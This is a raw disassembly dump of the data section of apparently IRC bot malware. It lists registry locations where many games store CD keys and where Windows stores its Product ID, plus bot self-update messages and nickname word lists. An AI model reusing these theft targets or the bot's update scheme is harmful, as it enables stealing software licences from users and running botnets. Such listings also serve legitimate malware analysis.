aBattlefield194	db 'Battlefield 1942 (Secret Weapons of WWII)',0
		align 10h
		db 53h
aOftwareElec_17	db 'oftware\Electronic Arts\EA GAMES\Battlefield 1942 Secret Weapons '
		db 'of WWII\ergc',0
		align 10h
aBattlefield1_0	db 'Battlefield 1942 (Road To Rome)',0
		db 53h
aOftwareElec_18	db 'oftware\Electronic Arts\EA GAMES\Battlefield 1942 The Road to Rom'
		db 'e\ergc',0
		align 4
aBattlefield1_1	db 'Battlefield 1942',0
		align 10h
		db 53h
aOftwareElec_19	db 'oftware\Electronic Arts\EA GAMES\Battlefield 1942\ergc',0
aFreedomForce	db 'Freedom Force',0
		align 4
		db 53h
aOftwareElec_20	db 'oftware\Electronic Arts\EA Distribution\Freedom Force\ergc',0
aIgi2CovertStri	db 'IGI 2: Covert Strike',0
		align 4
		db 53h
aOftwareIgi2Ret	db 'oftware\IGI 2 Retail',0
		align 4
aUnrealTourname	db 'Unreal Tournament 2004',0
		align 4
		db 53h
aOftwareUnrealT	db 'oftware\Unreal Technology\Installed Apps\UT2004',0
		align 10h
aUnrealTourna_0	db 'Unreal Tournament 2003',0
		align 4
		db 53h
aOftwareUnrea_0	db 'oftware\Unreal Technology\Installed Apps\UT2003',0
		align 4
aMicrosoftWindo	db 'Microsoft Windows Product ID',0
		align 4
aProductid	db 'ProductId',0
		align 4
		db 53h
aOftwareMicro_1	db 'oftware\Microsoft\Windows\CurrentVersion',0
		align 4
aSoldiersOfAnar	db 'Soldiers Of Anarchy',0
aSoftwareSilver	db 'Software\Silver Style Entertainment\Soldiers Of Anarchy\Settings',0
		align 4
aLegendsOfMight	db 'Legends of Might and Magic',0
		align 4
aCustomernumber	db 'CustomerNumber',0
		align 4
aSoftware3d0Sta	db 'Software\3d0\Status',0
aIndustryGiant2	db 'Industry Giant 2',0
		align 10h
aPrvkey		db 'prvkey',0
		align 4
aSoftwareJowood	db 'Software\JoWooD\InstalledGames\IG2',0
		align 4
aHalfLife	db 'Half-Life',0
		align 4
aSoftwareValveH	db 'Software\Valve\Half-Life\Settings',0
		align 4
aGunmanChronicl	db 'Gunman Chronicles',0
		align 10h
aKey_0		db 'Key',0
aSoftwareValveG	db 'Software\Valve\Gunman\Settings',0
		align 4
aTheGladiators	db 'The Gladiators',0
		align 4
aRegnumber	db 'RegNumber',0
		align 10h
aSoftwareEugenS	db 'Software\Eugen Systems\The Gladiators',0
		align 4
aCounterStrikeR	db 'Counter-Strike (Retail)',0 ; DATA XREF: .nsp0:00439B34o
aCdkey		db 'CDKey',0            ; DATA XREF: .nsp0:00439B30o
		align 4
aSoftwareValveC	db 'Software\Valve\CounterStrike\Settings',0 ; DATA XREF: .nsp0:off_439B2Co
		align 10h
asc_43AD40:				; DATA XREF: sub_41414A+E7o
					; sub_41414A+F2o
		unicode	0, <=>,0
dword_43AD44	dd 234032Dh, 656B6463h,	3027379h, 7325202Dh, 7325203Ah
					; DATA XREF: sub_41414A+2Bo
		dd 0
unk_43AD5C	db  2Dh	; -		; DATA XREF: sub_4142F9+480o
		db 3, 34h, 2
		db  64h	; d
		db 6Fh,	77h, 6Eh
		db  6Ch	; l
		db 6Fh,	61h, 64h
		db    2
		db 3, 2Dh, 20h
aBadUrlOrDnsErr	db 'bad url or dns error at %s.',0
unk_43AD88	db  2Dh	; -		; DATA XREF: sub_4142F9+472o
		db 3, 34h, 2
		db  64h	; d
		db 6Fh,	77h, 6Eh
		db  6Ch	; l
		db 6Fh,	61h, 64h
		db    2
		db 3, 2Dh, 20h
aUpdateFailedEr	db 'update failed, error executing %s',0
		align 10h
unk_43ADC0	db  2Dh	; -		; DATA XREF: sub_4142F9+3B6o
		db 3, 34h, 2
		db  64h	; d
		db 6Fh,	77h, 6Eh
		db  6Ch	; l
		db 6Fh,	61h, 64h
		db    2
		db 3, 2Dh, 20h
aDownloaded_1fk	db 'downloaded %.1fKB to %s @ %.1fKB/sec, updating bot',0
		align 4
dword_43AE04	dd 234032Dh, 6E776F64h,	64616F6Ch, 202D0302h, 6E65706Fh
					; DATA XREF: sub_4142F9+34Do
		dd 25206465h, 73h
unk_43AE20	db  2Dh	; -		; DATA XREF: sub_4142F9+2D6o
		db 3, 34h, 2
		db  64h	; d
		db 6Fh,	77h, 6Eh
		db  6Ch	; l
		db 6Fh,	61h, 64h
		db    2
		db 3, 2Dh, 20h
aDownloaded_1fK	db 'downloaded %.1f KB to %s @ %.1f KB/sec',0
		align 4
unk_43AE58	db  2Dh	; -		; DATA XREF: sub_4142F9+257o
		db 3, 34h, 2
		db  64h	; d
		db 6Fh,	77h, 6Eh
		db  6Ch	; l
		db 6Fh,	61h, 64h
		db    2
		db 3, 2Dh, 20h
aWrongCrcDD_	db 'wrong crc (%d != %d).',0
		align 10h
unk_43AE80	db  2Dh	; -		; DATA XREF: sub_4142F9+1CDo
		db 3, 34h, 2
		db  64h	; d
		db 6Fh,	77h, 6Eh
		db  6Ch	; l
		db 6Fh,	61h, 64h
		db    2
		db 3, 2Dh, 20h
aWrongFilesizeD	db 'wrong filesize (%d != %d).',0
		align 4
unk_43AEAC	db  2Dh	; -		; DATA XREF: sub_4142F9:loc_414491o
		db 3, 34h, 2
		db  64h	; d
		db 6Fh,	77h, 6Eh
		db  6Ch	; l
		db 6Fh,	61h, 64h
		db    2
		db 3, 2Dh, 20h
aGotUpdateSDkb_	db 'got update %s (%dKB).',0
		align 4
unk_43AED4	db  2Dh	; -		; DATA XREF: sub_4142F9+191o
		db 3, 34h, 2
		db  64h	; d
		db 6Fh,	77h, 6Eh
		db  6Ch	; l
		db 6Fh,	61h, 64h
		db    2
		db 3, 2Dh, 20h
aDownloadedSDkb	db 'downloaded %s (%dKB)',0
		align 4
unk_43AEFC	db  2Dh	; -		; DATA XREF: sub_4142F9+77o
		db 3, 34h, 2
		db  64h	; d
		db 6Fh,	77h, 6Eh
		db  6Ch	; l
		db 6Fh,	61h, 64h
		db    2
		db 3, 2Dh, 20h
aCouldnTOpenF_0	db 'couldn',27h,'t open file: %s',0
		align 4
aUnknown	db 'Unknown',0          ; DATA XREF: sub_41488D:loc_4148D0o
					; sub_4165F0+104o
aInvalid	db 'Invalid',0          ; DATA XREF: sub_41488D:loc_4148CAo
aDisk		db 'Disk',0             ; DATA XREF: sub_41488D:loc_4148C4o
		align 4
aNetwork	db 'Network',0          ; DATA XREF: sub_41488D:loc_4148BEo
aCdrom		db 'Cdrom',0            ; DATA XREF: sub_41488D:loc_4148B8o
		align 4
off_43AF4C	dd offset word_4D4152	; DATA XREF: sub_41488D:loc_4148B2o
word_43AF50	dw 3Fh			; DATA XREF: sub_41488D+1Fo
					; sub_4179BF:loc_417AC1r
		align 4
aFailed		db 'failed',0           ; DATA XREF: sub_41491E:loc_4149F6o
					; sub_414A39+3Bo
		align 4
aSkb		db '%sKB',0             ; DATA XREF: sub_41491E+6Bo
		align 4
unk_43AF64	db  2Dh	; -		; DATA XREF: sub_414A39+8Eo
		db 3, 34h, 2
		db  6Dh	; m
		db 61h,	69h, 6Eh
		db    2
		db 3, 2Dh, 20h
aSDriveSSTotalS	db '%s drive (%s): %s total, %s free, %s available',0
		align 10h
unk_43AFA0	db  2Dh	; -		; DATA XREF: sub_414A39+58o
		db 3, 34h, 2
		db  6Dh	; m
		db 61h,	69h, 6Eh
		db    2
		db 3, 2Dh, 20h
aSDriveSFailedT	db '%s drive (%s): failed to stat, device not ready',0
aA_1		db 'A:\',0              ; DATA XREF: sub_414B0B:loc_414B50o
off_43AFE0	dd offset aQ		; DATA XREF: sub_414F6D+5Cr
					; "q"
		dd offset aW		; "w"
		dd offset aE		; "e"
		dd offset aR		; "r"
		dd offset aT		; "t"
		dd offset aY		; "y"
		dd offset aU		; "u"
		dd offset aI_0		; "i"
		dd offset aP		; "p"
		dd offset aA_0		; "a"
		dd offset aS_1		; "s"
		dd offset aD		; "d"
		dd offset aF		; "f"
		dd offset aG		; "g"
		dd offset asc_4289E4	; "h"
		dd offset aJ		; "j"
		dd offset aK		; "k"
		dd offset asc_428954	; "l"
		dd offset aZ		; "z"
		dd offset asc_42CBA0	; "x"
		dd offset aC		; "c"
		dd offset aV		; "v"
		dd offset aB_0		; "b"
		dd offset aN		; "n"
		dd offset aM		; "m"
		dd offset aQ_0		; "Q"
		dd offset aW_0		; "W"
		dd offset aE_0		; "E"
		dd offset aR_0		; "R"
		dd offset aT_0		; "T"
		dd offset aY_0		; "Y"
		dd offset aU_0		; "U"
		dd offset aI		; "I"
		dd offset aO_1		; "O"
		dd offset aP_0		; "P"
		dd offset aA		; "A"
		dd offset aS_5		; "S"
		dd offset aD_2		; "D"
		dd offset aF_1		; "F"
		dd offset aG_0		; "G"
		dd offset asc_43BB10	; "H"
		dd offset aJ_0		; "J"
		dd offset aK_0		; "K"
		dd offset asc_43BB04	; "L"
		dd offset aZ_0		; "Z"
		dd offset asc_43BAFC	; "X"
		dd offset aC_0		; "C"
		dd offset aV_0		; "V"
		dd offset aB_1		; "B"
		dd offset aN_0		; "N"
		dd offset aM_2		; "M"
		dd offset aSmartmir	; "SMARTMIR"
		dd offset aFarooq	; "farooq"
		dd offset aMaxxguy	; "maxxguy"
		dd offset aBobmarley	; "BOBMARLEY"
		dd offset aEmilya	; "emilya"
		dd offset aKrizha	; "KRIZHA"
		dd offset aCar1nna	; "Car1nna"
		dd offset aSwin		; "swin"
		dd offset aMale		; "male"
		dd offset aKoko		; "koko"
		dd offset aFlexster	; "flexster"
		dd offset aKen		; "ken"
		dd offset aShez		; "Shez"
		dd offset aTalika	; "talika"
		dd offset aMarcy	; "marcy"
		dd offset aCme		; "cme"
		dd offset aHeval	; "heval"
		dd offset aBunty	; "bunty"
		dd offset aJanno	; "janno"
		dd offset aRimpy	; "rimpy"
		dd offset aNastysha	; "nastysha"
		dd offset aLuisa	; "Luisa"
		dd offset aTroller	; "troller"
		dd offset aManee	; "manee"
		dd offset aKermit	; "kermit"
		dd offset aPuregold	; "puregold"
		dd offset aCoredump	; "CoreDump"
		dd offset aImra		; "imra"
		dd offset aGirl_0	; "GirL"
		dd offset aCamel	; "CAMEL"
		dd offset aReshma	; "reshma"
		dd offset aKencing	; "Kencing"
		dd offset aThr45h3r5	; "THR45H3R5"
		dd offset aCansuuuu	; "cansuuuu"
		dd offset aKaan38dent	; "kaan38dent"
		dd offset aErkan27	; "erkan27"
		dd offset aHexaaa	; "hexaaa"
		dd offset aBerk19	; "berk19"
		dd offset aObenibisevse	; "OBeNiBiSeVSe"
		dd offset aIrmal	; "irmal"
		dd offset aMisssunday	; "misssunday"
		dd offset aTolga34	; "Tolga34"
		dd offset aJericho	; "JERICHO"
		dd offset aMary_0	; "MARY"
		dd offset aAkin		; "AKIN"
		dd offset aMelekk	; "melekk"
		dd offset aTrend3	; "trend3"
		dd offset aMERVE	; "M-E-R-V-E"
		dd offset aTekir	; "tekir"
		dd offset aVenedik34	; "venedik34"
		dd offset aSevmekmi	; "sevmekmi"
		dd offset aSudenur	; "SUDENUR"
		dd offset aArzu		; "ARZU"
		dd offset aHaticem	; "haticem"
		dd offset aErnesto	; "ERNESTO"
		dd offset aAslii	; "aslii"
		dd offset aPiramit	; "PIRAMIT"
		dd offset aSamyeli21	; "samyeli21"
		dd offset aRetg		; "RETG"
		dd offset aBlackpearl	; "blackpearl"
		dd offset aPelincik	; "pelincik"
		dd offset aAhmet	; "ahmet"
		dd offset aTurkyy	; "turkyy"
		dd offset aAnk32m	; "ank32m"
		dd offset aZack		; "ZACK"
		dd offset aIzmir39m	; "Izmir39m"
		dd offset aAlbina	; "albina"
		dd offset dword_43B894
		dd offset off_43B890
		dd offset aAnkh		; "ankh"
		dd offset aDonjuanm	; "Donjuanm"
		dd offset aBogac	; "bogac"
		dd offset aAlpay34m	; "alpay34m"
		dd offset aCongueror	; "CoNGuERoR"
		dd offset aDenizlim	; "DenizliM"
		dd offset aBerk19m	; "Berk19m"
		dd offset aDevran	; "devran"
		dd offset aArda		; "arda"
		dd offset aKeyiflisert	; "keyifliSERT"
		dd offset aMurat34M	; "murat34-m"
		dd offset aHakan3	; "hakan3"
		dd offset aImirzali	; "IMIRZALI--"
		dd offset aRamtha	; "RAMTHA"
		dd offset aEmre		; "Emre--"
		dd offset aElmaazyok	; "elmaazyok"
		dd offset aEsmerkiz	; "Esmerkiz"
		dd offset aKebikec	; "kebikec"
		dd offset aFlord	; "FLoRD"
		dd offset aHoly		; "holy"
		dd offset aMahinur	; "MAHINUR"
		dd offset aSadikaellesme ; "SaDIkaEllesme"
		dd offset aAykut1	; "aykut1"
		dd offset aKashmira	; "Kashmira"
		dd offset aSeviseli	; "SeViSeLi"
		dd offset aSugarboy	; "SUGARBOY-"
		dd offset aUzgun36	; "uzgun36"
		dd offset aKumul	; "kumul"
		dd offset aAdalim	; "ADALIM"
		dd offset aUmut		; "umut-"
		dd offset aAnk32M	; "ANK-32-M"
		dd offset aDjspace	; "DJSPACE"
		dd offset aAnkar	; "Ankar"
		dd offset aFenerlee	; "FeNeRLee"
		dd offset aHayran	; "hayran"
		dd offset aAngelgirl	; "angelgirl"
		dd offset aKapk		; "kapk"
		dd offset aAchilles	; "Achilles"
		dd offset aTegmen	; "TEGMEN"
		dd offset aKotan	; "kotan"
		dd offset aSevda	; "sevda"
		dd offset off_43B6FC
		dd offset aAlcatras	; "alcatras"
		dd offset aA44m		; "a44m"
		dd offset aBirsen	; "birsen"
		dd offset aYabanc	; "yabanc"
		dd offset aDevre	; "devre"
		dd offset aErkan	; "erkan"
		dd offset aAnkm		; "ankM"
		dd offset aAdem28	; "Adem28"
		dd offset aMaxsilla	; "maxsilla"
		dd offset aM41ist	; "M41IST"
		dd offset aAdamm33	; "AdAMM33"
		dd offset aFirtina	; "firtina"
		dd offset aAta29	; "Ata29"
		dd offset aKoray	; "KORAY"
		dd offset aAkden	; "akden"
		dd offset aIzmirlm	; "izmirlm"
		dd offset aUla		; "ula"
		dd offset aNeHaber	; "NE-HABER"
		dd offset aPassenger	; "passenger"
		dd offset aTropikal	; "tropikal"
		dd offset aCool30m	; "cool30m"
		dd offset aCem39	; "cem39"
		dd offset aRerpjj	; "RERPJJ"
		dd offset aTeoman	; "TEOMAN```"
		dd offset aDallas43m	; "DALLAS43M"
		dd offset aPrometheus	; "prometheus"
		dd offset aMaveRIck	; "MaVe{R}icK"
		dd offset aAdamm	; "ADAMM"
		dd offset aCumhur29	; "cumhur29"
		dd offset aWantedlove	; "WANTEDLOVE"
off_43B2E0	dd offset aSex_0	; DATA XREF: sub_414F6D+41r
					; sub_414F6D+ECr
					; "sex"
		dd offset aLez		; "lez"
		dd offset aZex		; "zex"
		dd offset aTree		; "tree"
		dd offset aBad		; "bad"
		dd offset aLag		; "lag"
		dd offset aTambe	; "|tambe|"
		dd offset aWoh		; "|woh|"
		dd offset aTot		; "-|tot|"
		dd offset aSuck_0	; "|suck|"
		dd offset aLuck_0	; "|luck|"
		dd offset aHub		; "{hub}"
		dd offset aSex_1	; "{sex}"
		dd offset aGens		; "{gens|"
		dd offset aLuvuF	; "||luvu-f|"
		dd offset aWiked	; "|wiked|"
		dd offset aSick_0	; "sick}}"
		dd offset aQ8		; "Q8"
		dd offset aQ8A		; "|q8|a"
		dd offset aB_0		; "b"
		dd offset aC		; "c"
		dd offset aD		; "d"
		dd offset aE		; "e"
		dd offset aF		; "f"
		dd offset aG		; "g"
		dd offset asc_4289E4	; "h"
		dd offset aI_0		; "i"
		dd offset dword_42ED84
		dd offset aJ		; "j"
		dd offset aK		; "k"
		dd offset asc_428954	; "l"
		dd offset aM		; "m"
		dd offset aN		; "n"
		dd offset aO		; "o"
		dd offset aP		; "p"
		dd offset aQ		; "q"
		dd offset aRs		; "rs"
		dd offset aT		; "t"
		dd offset aU		; "u"
		dd offset aV		; "v"
		dd offset aW		; "w"
		dd offset asc_42CBA0	; "x"
		dd offset aY		; "y"
		dd offset aZ		; "z"
		dd offset aHappy	; "happy"
		dd offset aRg		; "rg"
		dd offset aTy		; "ty"
		dd offset aGf		; "gf"
		dd offset aRt		; "rt"
		dd offset aSdf		; "sdf"
		dd offset aUi		; "ui"
		dd offset aLuvy		; "luvy"
		dd offset aTrimy	; "trimy"
		dd offset aTruck	; "truck"
		dd offset aMuckc	; "muckc"
		dd offset aZ		; "z"
		dd offset aG		; "g"
		dd offset aS_1		; "s"
		dd offset aQ		; "q"
		dd offset off_43B524
		dd offset aBbl		; "|bbl"
		dd offset byte_4400B4
		dd offset byte_4400B4
		dd offset a___0		; "_|_"
		dd offset byte_4400B4
		dd offset byte_4400B4
		dd offset byte_4400B4
		dd offset byte_4400B4
		dd offset aF_1		; "F"
		dd offset aM_2		; "M"
		dd offset aLuvu		; "LUVU"
		dd offset aSad		; "Sad"
		dd offset aF_0		; "^^^f^"
		dd offset aB_0		; "b"
		dd offset byte_4400B4
		dd offset aSleeping	; "Sleeping"
		dd offset byte_4400B4
		dd offset byte_4400B4
		dd offset aFuck_0	; "Fuck"
		dd offset aFree_0	; "Free"
		dd offset byte_4400B4
		dd offset byte_4400B4
		dd offset asc_43BAFC	; "X"
		dd offset byte_4400B4
		dd offset aBoy		; "BOY"
		dd offset aGirl_1	; "GIRL"
		dd offset aGurl		; "gurl"
		dd offset aShit		; "shit"
		dd offset aAha		; "aha"
		dd offset aYeah		; "yeah"
		dd offset aMuha		; "muha"
		dd offset aMof0		; "mof0"
		dd offset aMofo		; "mofo"
		dd offset dword_43B4AC
		dd offset aLol		; "lol"
		dd offset dword_43B4A4
		dd offset dword_43B498
		dd offset dword_43B490
		dd offset dword_43B488
		dd offset dword_43B480
		dd offset dword_43B47C
		dd offset dword_43B478
dword_43B478	dd 7536h		; DATA XREF: .nsp0:0043B474o
dword_43B47C	dd 7535h		; DATA XREF: .nsp0:0043B470o
dword_43B480	dd 7C75347Ch, 0		; DATA XREF: .nsp0:0043B46Co
dword_43B488	dd 6F79347Bh, 7D75h	; DATA XREF: .nsp0:0043B468o
dword_43B490	dd 7375347Ch, 7Ch	; DATA XREF: .nsp0:0043B464o
dword_43B498	dd 7865737Ch, 65726634h, 7C65h ; DATA XREF: .nsp0:0043B460o
dword_43B4A4	dd 6F6C6F6Ch, 7C617Ch	; DATA XREF: .nsp0:0043B45Co
dword_43B4AC	dd 746F74h		; DATA XREF: .nsp0:0043B454o
aMofo		db 'mofo',0             ; DATA XREF: .nsp0:0043B450o
		align 4
aMof0		db 'mof0',0             ; DATA XREF: .nsp0:0043B44Co
		align 10h
aMuha		db 'muha',0             ; DATA XREF: .nsp0:0043B448o
		align 4
aYeah		db 'yeah',0             ; DATA XREF: .nsp0:0043B444o
		align 10h
aAha		db 'aha',0              ; DATA XREF: .nsp0:0043B440o
aGurl		db 'gurl',0             ; DATA XREF: .nsp0:0043B438o
		align 4
aGirl_1		db 'GIRL',0             ; DATA XREF: .nsp0:0043B434o
		align 4
aBoy		db 'BOY',0              ; DATA XREF: .nsp0:0043B430o
aFree_0		db 'Free',0             ; DATA XREF: .nsp0:0043B41Co
		align 10h
aFuck_0		db 'Fuck',0             ; DATA XREF: .nsp0:0043B418o
		align 4
aSleeping	db 'Sleeping',0         ; DATA XREF: .nsp0:0043B40Co
		align 4
aF_0		db '^^^f^',0            ; DATA XREF: .nsp0:0043B400o
		align 4
aSad		db 'Sad',0              ; DATA XREF: .nsp0:0043B3FCo
aLuvu		db 'LUVU',0             ; DATA XREF: .nsp0:0043B3F8o
		align 4
a___0		db '_|_',0              ; DATA XREF: .nsp0:0043B3DCo
aBbl		db '|bbl',0             ; DATA XREF: .nsp0:0043B3D0o
		align 4
off_43B524	dd offset dword_4251F4+4Eh ; DATA XREF:	.nsp0:0043B3CCo
aMuckc		db 'muckc',0            ; DATA XREF: .nsp0:0043B3B8o
		align 10h
aTruck		db 'truck',0            ; DATA XREF: .nsp0:0043B3B4o
		align 4
aTrimy		db 'trimy',0            ; DATA XREF: .nsp0:0043B3B0o
		align 10h
aLuvy		db 'luvy',0             ; DATA XREF: .nsp0:0043B3ACo
		align 4
aUi		db 'ui',0               ; DATA XREF: .nsp0:0043B3A8o
		align 4
aSdf		db 'sdf',0              ; DATA XREF: .nsp0:0043B3A4o
aRt		db 'rt',0               ; DATA XREF: .nsp0:0043B3A0o
		align 4
aGf		db 'gf',0               ; DATA XREF: .nsp0:0043B39Co
		align 4
aTy		db 'ty',0               ; DATA XREF: .nsp0:0043B398o
		align 4
aRg		db 'rg',0               ; DATA XREF: .nsp0:0043B394o
		align 10h
aHappy		db 'happy',0            ; DATA XREF: .nsp0:0043B390o
		align 4
aRs		db 'rs',0               ; DATA XREF: .nsp0:0043B370o
		align 4
aQ8A		db '|q8|a',0            ; DATA XREF: .nsp0:0043B328o
		align 4
aQ8		db 'Q8',0               ; DATA XREF: .nsp0:0043B324o
		align 4
aSick_0		db 'sick}}',0           ; DATA XREF: .nsp0:0043B320o
		align 10h
aWiked		db '|wiked|',0          ; DATA XREF: .nsp0:0043B31Co
aLuvuF		db '||luvu-f|',0        ; DATA XREF: .nsp0:0043B318o
		align 4
aGens		db '{gens|',0           ; DATA XREF: .nsp0:0043B314o
		align 4
aSex_1		db '{sex}',0            ; DATA XREF: .nsp0:0043B310o
		align 4
aHub		db '{hub}',0            ; DATA XREF: .nsp0:0043B30Co
		align 4
aLuck_0		db '|luck|',0           ; DATA XREF: .nsp0:0043B308o
		align 4
aSuck_0		db '|suck|',0           ; DATA XREF: .nsp0:0043B304o
		align 4
aTot		db '-|tot|',0           ; DATA XREF: .nsp0:0043B300o
		align 4
aWoh		db '|woh|',0            ; DATA XREF: .nsp0:0043B2FCo
		align 4
aTambe		db '|tambe|',0          ; DATA XREF: .nsp0:0043B2F8o
aLag		db 'lag',0              ; DATA XREF: .nsp0:0043B2F4o
aBad		db 'bad',0              ; DATA XREF: .nsp0:0043B2F0o
aZex		db 'zex',0              ; DATA XREF: .nsp0:0043B2E8o
aLez		db 'lez',0              ; DATA XREF: .nsp0:0043B2E4o
aWantedlove	db 'WANTEDLOVE',0       ; DATA XREF: .nsp0:0043B2DCo
		align 10h
aCumhur29	db 'cumhur29',0         ; DATA XREF: .nsp0:0043B2D8o
		align 4
aAdamm		db 'ADAMM',0            ; DATA XREF: .nsp0:0043B2D4o
		align 4
aMaveRIck	db 'MaVe{R}icK',0       ; DATA XREF: .nsp0:0043B2D0o
		align 10h
aPrometheus	db 'prometheus',0       ; DATA XREF: .nsp0:0043B2CCo
		align 4
aDallas43m	db 'DALLAS43M',0        ; DATA XREF: .nsp0:0043B2C8o
		align 4
aTeoman		db 'TEOMAN```',0        ; DATA XREF: .nsp0:0043B2C4o
		align 4
aRerpjj		db 'RERPJJ',0           ; DATA XREF: .nsp0:0043B2C0o
		align 4
aCem39		db 'cem39',0            ; DATA XREF: .nsp0:0043B2BCo
		align 4
aCool30m	db 'cool30m',0          ; DATA XREF: .nsp0:0043B2B8o
aTropikal	db 'tropikal',0         ; DATA XREF: .nsp0:0043B2B4o
		align 4
aPassenger	db 'passenger',0        ; DATA XREF: .nsp0:0043B2B0o
		align 4
aNeHaber	db 'NE-HABER',0         ; DATA XREF: .nsp0:0043B2ACo
		align 10h
aUla		db 'ula',0              ; DATA XREF: .nsp0:0043B2A8o
aIzmirlm	db 'izmirlm',0          ; DATA XREF: .nsp0:0043B2A4o
aAkden		db 'akden',0            ; DATA XREF: .nsp0:0043B2A0o
		align 4
aKoray		db 'KORAY',0            ; DATA XREF: .nsp0:0043B29Co
		align 4
aAta29		db 'Ata29',0            ; DATA XREF: .nsp0:0043B298o
		align 4
aFirtina	db 'firtina',0          ; DATA XREF: .nsp0:0043B294o
aAdamm33	db 'AdAMM33',0          ; DATA XREF: .nsp0:0043B290o
aM41ist		db 'M41IST',0           ; DATA XREF: .nsp0:0043B28Co
		align 4
aMaxsilla	db 'maxsilla',0         ; DATA XREF: .nsp0:0043B288o
		align 4
aAdem28		db 'Adem28',0           ; DATA XREF: .nsp0:0043B284o
		align 10h
aAnkm		db 'ankM',0             ; DATA XREF: .nsp0:0043B280o
		align 4
aErkan		db 'erkan',0            ; DATA XREF: .nsp0:0043B27Co
		align 10h
aDevre		db 'devre',0            ; DATA XREF: .nsp0:0043B278o
		align 4
aYabanc		db 'yabanc',0           ; DATA XREF: .nsp0:0043B274o
		align 10h
aBirsen		db 'birsen',0           ; DATA XREF: .nsp0:0043B270o
		align 4
aA44m		db 'a44m',0             ; DATA XREF: .nsp0:0043B26Co
		align 10h
aAlcatras	db 'alcatras',0         ; DATA XREF: .nsp0:0043B268o
		align 4
off_43B6FC	dd offset byte_4B5245	; DATA XREF: .nsp0:0043B264o
aSevda		db 'sevda',0            ; DATA XREF: .nsp0:0043B260o
		align 4
aKotan		db 'kotan',0            ; DATA XREF: .nsp0:0043B25Co
		align 10h
aTegmen		db 'TEGMEN',0           ; DATA XREF: .nsp0:0043B258o
		align 4
aAchilles	db 'Achilles',0         ; DATA XREF: .nsp0:0043B254o
		align 4
aKapk		db 'kapk',0             ; DATA XREF: .nsp0:0043B250o
		align 4
aAngelgirl	db 'angelgirl',0        ; DATA XREF: .nsp0:0043B24Co
		align 4
aHayran		db 'hayran',0           ; DATA XREF: .nsp0:0043B248o
		align 10h
aFenerlee	db 'FeNeRLee',0         ; DATA XREF: .nsp0:0043B244o
		align 4
aAnkar		db 'Ankar',0            ; DATA XREF: .nsp0:0043B240o
		align 4
aDjspace	db 'DJSPACE',0          ; DATA XREF: .nsp0:0043B23Co
aAnk32M		db 'ANK-32-M',0         ; DATA XREF: .nsp0:0043B238o
		align 4
aUmut		db 'umut-',0            ; DATA XREF: .nsp0:0043B234o
		align 10h
aAdalim		db 'ADALIM',0           ; DATA XREF: .nsp0:0043B230o
		align 4
aKumul		db 'kumul',0            ; DATA XREF: .nsp0:0043B22Co
		align 10h
aUzgun36	db 'uzgun36',0          ; DATA XREF: .nsp0:0043B228o
aSugarboy	db 'SUGARBOY-',0        ; DATA XREF: .nsp0:0043B224o
		align 4
aSeviseli	db 'SeViSeLi',0         ; DATA XREF: .nsp0:0043B220o
		align 10h
aKashmira	db 'Kashmira',0         ; DATA XREF: .nsp0:0043B21Co
		align 4
aAykut1		db 'aykut1',0           ; DATA XREF: .nsp0:0043B218o
		align 4
aSadikaellesme	db 'SaDIkaEllesme',0    ; DATA XREF: .nsp0:0043B214o
		align 4
aMahinur	db 'MAHINUR',0          ; DATA XREF: .nsp0:0043B210o
aHoly		db 'holy',0             ; DATA XREF: .nsp0:0043B20Co
		align 4
aFlord		db 'FLoRD',0            ; DATA XREF: .nsp0:0043B208o
		align 4
aKebikec	db 'kebikec',0          ; DATA XREF: .nsp0:0043B204o
aEsmerkiz	db 'Esmerkiz',0         ; DATA XREF: .nsp0:0043B200o
		align 10h
aElmaazyok	db 'elmaazyok',0        ; DATA XREF: .nsp0:0043B1FCo
		align 4
aEmre		db 'Emre--',0           ; DATA XREF: .nsp0:0043B1F8o
		align 4
aRamtha		db 'RAMTHA',0           ; DATA XREF: .nsp0:0043B1F4o
		align 4
aImirzali	db 'IMIRZALI--',0       ; DATA XREF: .nsp0:0043B1F0o
		align 4
aHakan3		db 'hakan3',0           ; DATA XREF: .nsp0:0043B1ECo
		align 10h
aMurat34M	db 'murat34-m',0        ; DATA XREF: .nsp0:0043B1E8o
		align 4
aKeyiflisert	db 'keyifliSERT',0      ; DATA XREF: .nsp0:0043B1E4o
aArda		db 'arda',0             ; DATA XREF: .nsp0:0043B1E0o
		align 10h
aDevran		db 'devran',0           ; DATA XREF: .nsp0:0043B1DCo
		align 4
aBerk19m	db 'Berk19m',0          ; DATA XREF: .nsp0:0043B1D8o
aDenizlim	db 'DenizliM',0         ; DATA XREF: .nsp0:0043B1D4o
		align 4
aCongueror	db 'CoNGuERoR',0        ; DATA XREF: .nsp0:0043B1D0o
		align 4
aAlpay34m	db 'alpay34m',0         ; DATA XREF: .nsp0:0043B1CCo
		align 4
aBogac		db 'bogac',0            ; DATA XREF: .nsp0:0043B1C8o
		align 4
aDonjuanm	db 'Donjuanm',0         ; DATA XREF: .nsp0:0043B1C4o
		align 4
aAnkh		db 'ankh',0             ; DATA XREF: .nsp0:0043B1C0o
		align 10h
off_43B890	dd offset byte_457441	; DATA XREF: .nsp0:0043B1BCo
dword_43B894	dd 414C5941h, 2Dh	; DATA XREF: .nsp0:0043B1B8o
aAlbina		db 'albina',0           ; DATA XREF: .nsp0:0043B1B4o
		align 4
aIzmir39m	db 'Izmir39m',0         ; DATA XREF: .nsp0:0043B1B0o
		align 10h
aZack		db 'ZACK',0             ; DATA XREF: .nsp0:0043B1ACo
		align 4
aAnk32m		db 'ank32m',0           ; DATA XREF: .nsp0:0043B1A8o
		align 10h
aTurkyy		db 'turkyy',0           ; DATA XREF: .nsp0:0043B1A4o
		align 4
aAhmet		db 'ahmet',0            ; DATA XREF: .nsp0:0043B1A0o
		align 10h
aPelincik	db 'pelincik',0         ; DATA XREF: .nsp0:0043B19Co
		align 4
aBlackpearl	db 'blackpearl',0       ; DATA XREF: .nsp0:0043B198o
		align 4
aRetg		db 'RETG',0             ; DATA XREF: .nsp0:0043B194o
		align 10h
aSamyeli21	db 'samyeli21',0        ; DATA XREF: .nsp0:0043B190o
		align 4
aPiramit	db 'PIRAMIT',0          ; DATA XREF: .nsp0:0043B18Co
aAslii		db 'aslii',0            ; DATA XREF: .nsp0:0043B188o
		align 4
aErnesto	db 'ERNESTO',0          ; DATA XREF: .nsp0:0043B184o
aHaticem	db 'haticem',0          ; DATA XREF: .nsp0:0043B180o
aArzu		db 'ARZU',0             ; DATA XREF: .nsp0:0043B17Co
		align 4
aSudenur	db 'SUDENUR',0          ; DATA XREF: .nsp0:0043B178o
aSevmekmi	db 'sevmekmi',0         ; DATA XREF: .nsp0:0043B174o
		align 4
